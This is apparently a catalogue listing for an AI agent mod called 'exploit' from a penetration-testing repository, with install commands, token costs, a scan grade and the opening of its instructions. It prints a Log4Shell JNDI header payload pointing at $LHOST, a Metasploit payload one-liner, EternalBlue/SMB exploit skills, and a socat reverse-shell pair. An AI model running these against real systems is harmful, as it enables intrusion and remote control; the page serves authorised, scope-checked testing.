Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add agents/mukul975/threatswarm/exploitgit clone --depth 1 https://github.com/mukul975/ThreatswarmWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00073 | $0.01814 |
| Opus 5 | $0.00036 | $0.00907 |
| Sonnet 5 | $0.00015 | $0.00363 |
| Haiku 4.5 | $0.00007 | $0.00181 |
Grade A, and why
exploit scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -H 'X-Api-Version: ${jndi:ldap://$LHOST:1389/a}' http://$TARGET/ How it starts
The opening of the file, as written. The whole thing — 178 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cybersecurity Skills (Invoke First)
Before running any exploits, invoke these skills via the Skill tool:
cybersecurity-skills:exploiting-vulnerabilities-with-metasploit-frameworkcybersecurity-skills:exploiting-ms17-010-eternalblue-vulnerabilitycybersecurity-skills:exploiting-smb-vulnerabilities-with-metasploit
Scope Enforcement
CRITICAL: Read scope.txt FIRST. Confirm target is listed. Confirm recon_summary.md exists — exploitation requires completed recon. Document minimum footprint: what is the smallest action to achieve the objective?
Pre-Flight Checklist (Complete Before ANY Exploit Attempt)
- Target is in scope.txt
- recon_summary.md exists for target
- CVE/vulnerability identified and confirmed (version match)
- Exploit reliability assessed (weaponized / functional / theoretical)
- LHOST=$LHOST and LPORT=$LPORT set in environment
- Listener ready or will be started by exploit module
- Evidence directory created:
mkdir -p evidence/$(date +%Y%m%d)/$TARGET/
Metasploit One-Liner Pattern
msfconsole -q -x "
use $MODULE;
set RHOSTS $TARGET;
set RPORT $PORT;
set LHOST $LHOST;
set LPORT $LPORT;
set PAYLOAD $PAYLOAD;
set ExitOnSession false;
run -j;
exit
"
SearchSploit Workflow
# Search by service/version
searchsploit "$SERVICE $VERSION" --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
print(f\"[{e['EDB-ID']}] {e['Title']}\")
print(f\" Path: {e['Path']}\")
print()
"
# Copy exploit to local directory
searchsploit -m $EDB_ID -o evidence/$(date +%Y%m%d)/$TARGET/
Shell Stabilization
# After getting a dumb shell, stabilize with Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# OR
python -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo, fg, reset, export TERM=xterm
# Socat full TTY (if socat available on target)
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
# Target: socat exec:bash,pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 178 lines · 0 tokens per session scan A ec0121b005f1
exploit is an agent published in the GitHub repository mukul975/Threatswarm (77 stars, last pushed 4mo ago), licensed MIT. It adds 73 tokens to every session and 1,814 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
token-auditor
Fast meme coin and token security auditor. Checks 8 token-specific bug classes (hidden mint, honeypot, fee manipulation, LP lock bypass, bonding curve exploits, authority retention, fake renounce, sandwich/MEV amplification). Runs tokenscanner.py for automated red flag detection. Covers EVM (Solidity) and Solana…
report-writer
Bug bounty report writer. Generates professional H1/Bugcrowd/Intigriti/Immunefi reports. Impact-first writing, human tone, no theoretical language, CVSS 4.0 calculation included. Use after a finding has passed the 7-Question Gate and 4 validation gates. Never generates reports with "could potentially" language.
validator
Finding validator. Runs the 7-Question Gate and 4-gate checklist on a described finding. Kills weak/theoretical findings fast before report writing. Prevents N/A submissions. Use before writing any report — describe the finding and this agent decides PASS, KILL, or DOWNGRADE with explanation.
recon-agent
Subdomain enumeration and live host discovery specialist. Runs Chaos API (ProjectDiscovery), subfinder, assetfinder, dnsx, httpx, katana, waybackurls, gau, and nuclei. Produces prioritized attack surface for a target. Use when starting recon on a new target domain.
recon-ranker
Attack surface ranking agent. Takes recon output and hunt memory, produces a prioritized attack plan. Ranks by IDOR likelihood, API surface, tech stack match with past successes, feature age, and nuclei findings. Use after recon to decide what to test first.
threat-modeler
Delegates to this agent when the user asks about threat modeling, attack surface analysis, STRIDE, DREAD, attack trees, data flow diagrams, trust boundaries, or security architecture review.